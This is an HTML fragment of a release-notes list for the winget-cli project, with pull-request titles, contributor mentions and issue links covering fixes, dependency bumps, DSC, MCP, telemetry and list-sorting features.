<li>docs: fix multiple documentation issues (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2915720169" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5296" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/5296/hovercard" href="https://github.com/microsoft/winget-cli/issues/5296">#5296</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3720921587" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5921" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/5921/hovercard" href="https://github.com/microsoft/winget-cli/issues/5921">#5921</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2769295431" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5108" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/5108/hovercard" href="https://github.com/microsoft/winget-cli/issues/5108">#5108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2238926257" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/4372" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/4372/hovercard" href="https://github.com/microsoft/winget-cli/issues/4372">#4372</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3612941602" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5867" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/5867/hovercard" href="https://github.com/microsoft/winget-cli/issues/5867">#5867</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GrantMeStrength/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GrantMeStrength">@GrantMeStrength</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4145157508" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6110" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6110/hovercard" href="https://github.com/microsoft/winget-cli/pull/6110">#6110</a></li>
<li>Revert help link in DscCommand by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4145628763" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6111" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6111/hovercard" href="https://github.com/microsoft/winget-cli/pull/6111">#6111</a></li>
<li>Update Moq, curl, and c-ares by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4147531770" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6112" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6112/hovercard" href="https://github.com/microsoft/winget-cli/pull/6112">#6112</a></li>
<li>Add Timeserver Support for SourceCreator and support spaces in paths and file names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4148852287" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6113" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6113/hovercard" href="https://github.com/microsoft/winget-cli/pull/6113">#6113</a></li>
<li>Report skipped upgrades when install technology differs (upgrade --all) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMDphreak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMDphreak">@AMDphreak</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111928053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6096" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6096/hovercard" href="https://github.com/microsoft/winget-cli/pull/6096">#6096</a></li>
<li>[AI Generated] Ensure correct DSC export of admin settings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140482006" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6109" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6109/hovercard" href="https://github.com/microsoft/winget-cli/pull/6109">#6109</a></li>
<li>Update default for useLatest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4148917499" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6114" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6114/hovercard" href="https://github.com/microsoft/winget-cli/pull/6114">#6114</a></li>
<li>Add Update commands for MCP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4172268285" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6117" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6117/hovercard" href="https://github.com/microsoft/winget-cli/pull/6117">#6117</a></li>
<li>Preserve overrides with export and import by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4173119239" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6118" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6118/hovercard" href="https://github.com/microsoft/winget-cli/pull/6118">#6118</a></li>
<li>Quote winget server path before calling CreateProcess by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yao-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yao-msft">@yao-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190755267" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6122" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6122/hovercard" href="https://github.com/microsoft/winget-cli/pull/6122">#6122</a></li>
<li>Update to spell check v26 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214249146" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6128" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6128/hovercard" href="https://github.com/microsoft/winget-cli/pull/6128">#6128</a></li>
<li>Add issue types to issue templates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241777916" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6139" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6139/hovercard" href="https://github.com/microsoft/winget-cli/pull/6139">#6139</a></li>
<li>Improve MOTW error handling in download flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214001872" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6127" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6127/hovercard" href="https://github.com/microsoft/winget-cli/pull/6127">#6127</a></li>
<li>Allow exporting to hidden files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3504005348" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5795" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5795/hovercard" href="https://github.com/microsoft/winget-cli/pull/5795">#5795</a></li>
<li>Add thread globals for downloader thread by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4258013619" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6141" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6141/hovercard" href="https://github.com/microsoft/winget-cli/pull/6141">#6141</a></li>
<li>Dynamically select drive for test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214412645" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6129" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6129/hovercard" href="https://github.com/microsoft/winget-cli/pull/6129">#6129</a></li>
<li>Change how Truncation works by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259464272" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6142" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6142/hovercard" href="https://github.com/microsoft/winget-cli/pull/6142">#6142</a></li>
<li>Admin setting and group policy for configuration processor path argument by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4182457379" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6119" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6119/hovercard" href="https://github.com/microsoft/winget-cli/pull/6119">#6119</a></li>
<li>Add comments to loc strings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4278175050" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6150" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6150/hovercard" href="https://github.com/microsoft/winget-cli/pull/6150">#6150</a></li>
<li>Move XML ref ahead by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4284162176" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6154" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6154/hovercard" href="https://github.com/microsoft/winget-cli/pull/6154">#6154</a></li>
<li>Add policy for notifying authors of Localization Restriction by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288823601" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6156" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6156/hovercard" href="https://github.com/microsoft/winget-cli/pull/6156">#6156</a></li>
<li>Dont log failures to get font title info by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4298573384" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6163" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6163/hovercard" href="https://github.com/microsoft/winget-cli/pull/6163">#6163</a></li>
<li>[ListCommand] Fix --source filter not restricting list output to specified source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Madhusudhan-MSFT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Madhusudhan-MSFT">@Madhusudhan-MSFT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293334569" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6159" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6159/hovercard" href="https://github.com/microsoft/winget-cli/pull/6159">#6159</a></li>
<li>Improved manifest validations for MSI and Windows Feature names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311235441" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6170" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6170/hovercard" href="https://github.com/microsoft/winget-cli/pull/6170">#6170</a></li>
<li>Mitigate packaged preindexed source open lock convoy by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mamoreau-devolutions/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mamoreau-devolutions">@mamoreau-devolutions</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311593126" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6172" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6172/hovercard" href="https://github.com/microsoft/winget-cli/pull/6172">#6172</a></li>
<li>Optimize packaged temp ACL handling without weakening ACL repairs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mamoreau-devolutions/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mamoreau-devolutions">@mamoreau-devolutions</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311326921" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6171" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6171/hovercard" href="https://github.com/microsoft/winget-cli/pull/6171">#6171</a></li>
<li>Add telemetry event for index updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4325910774" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6175" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6175/hovercard" href="https://github.com/microsoft/winget-cli/pull/6175">#6175</a></li>
<li>Make extension comparison case insensitive by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336637167" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6182" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6182/hovercard" href="https://github.com/microsoft/winget-cli/pull/6182">#6182</a></li>
<li>[Settings, ListCommand] Add sort types, settings infrastructure, and CLI arguments for output ordering by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Madhusudhan-MSFT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Madhusudhan-MSFT">@Madhusudhan-MSFT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326435705" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6177" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6177/hovercard" href="https://github.com/microsoft/winget-cli/pull/6177">#6177</a></li>
<li>Add setting for installer log file names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3512311782" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5802" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5802/hovercard" href="https://github.com/microsoft/winget-cli/pull/5802">#5802</a></li>
<li>Add JSON validation output and interop presentation model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339735803" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6183" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6183/hovercard" href="https://github.com/microsoft/winget-cli/pull/6183">#6183</a></li>
<li>Add default installer precedence if not defined by user by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4196821929" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6123" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6123/hovercard" href="https://github.com/microsoft/winget-cli/pull/6123">#6123</a></li>
<li>Standardize PR template with emoji sections and issue types by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373900925" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6207" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6207/hovercard" href="https://github.com/microsoft/winget-cli/pull/6207">#6207</a></li>
<li>Add Copilot instructions for writing specifications by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373818771" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6205" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6205/hovercard" href="https://github.com/microsoft/winget-cli/pull/6205">#6205</a></li>
<li>Fix policy bot bugs and expand label coverage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373291216" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6202" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6202/hovercard" href="https://github.com/microsoft/winget-cli/pull/6202">#6202</a></li>
<li>Report DSC execution diagnostics on a timer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368050336" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6196" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6196/hovercard" href="https://github.com/microsoft/winget-cli/pull/6196">#6196</a></li>
<li>Store provisioning mitigation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366604990" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6194" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6194/hovercard" href="https://github.com/microsoft/winget-cli/pull/6194">#6194</a></li>
<li>Add execution level to telemetry summary and logs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366651180" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6195" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6195/hovercard" href="https://github.com/microsoft/winget-cli/pull/6195">#6195</a></li>
<li>Implement sort logic for winget list output<br>
by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Madhusudhan-MSFT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Madhusudhan-MSFT">@Madhusudhan-MSFT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353698237" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6191" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6191/hovercard" href="https://github.com/microsoft/winget-cli/pull/6191">#6191</a></li>
<li>VS Code WinGet log viewer tool by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4277517365" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6149" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6149/hovercard" href="https://github.com/microsoft/winget-cli/pull/6149">#6149</a></li>
<li>Bump fast-uri from 3.1.0 to 3.1.2 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432639720" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6223" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6223/hovercard" href="https://github.com/microsoft/winget-cli/pull/6223">#6223</a></li>
<li>Update <code>configure export --all</code> for recent DSC changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4431732649" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6222" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6222/hovercard" href="https://github.com/microsoft/winget-cli/pull/6222">#6222</a></li>
<li>Mitigate stack overflow issue by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4433123276" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6224" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6224/hovercard" href="https://github.com/microsoft/winget-cli/pull/6224">#6224</a></li>
<li>Reset default sources without dropping them by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347741443" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6187" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6187/hovercard" href="https://github.com/microsoft/winget-cli/pull/6187">#6187</a></li>
<li>Enable transitive pinning for central package management by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441204221" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6225" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6225/hovercard" href="https://github.com/microsoft/winget-cli/pull/6225">#6225</a></li>
<li>Configuration processor auditing improvements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366411444" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6193" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6193/hovercard" href="https://github.com/microsoft/winget-cli/pull/6193">#6193</a></li>
<li>Update rest source and wingetutil interop to include 1.28 manifest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yao-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yao-msft">@yao-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482042640" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6234" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6234/hovercard" href="https://github.com/microsoft/winget-cli/pull/6234">#6234</a></li>
<li>Move pre-check errors to post-check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488618163" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6236" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6236/hovercard" href="https://github.com/microsoft/winget-cli/pull/6236">#6236</a></li>
<li>In-proc certificate pinning validation override by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479464952" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6233" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6233/hovercard" href="https://github.com/microsoft/winget-cli/pull/6233">#6233</a></li>
<li>Change symlink verification to avoid redirection guard policy by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490077852" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6239" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6239/hovercard" href="https://github.com/microsoft/winget-cli/pull/6239">#6239</a></li>
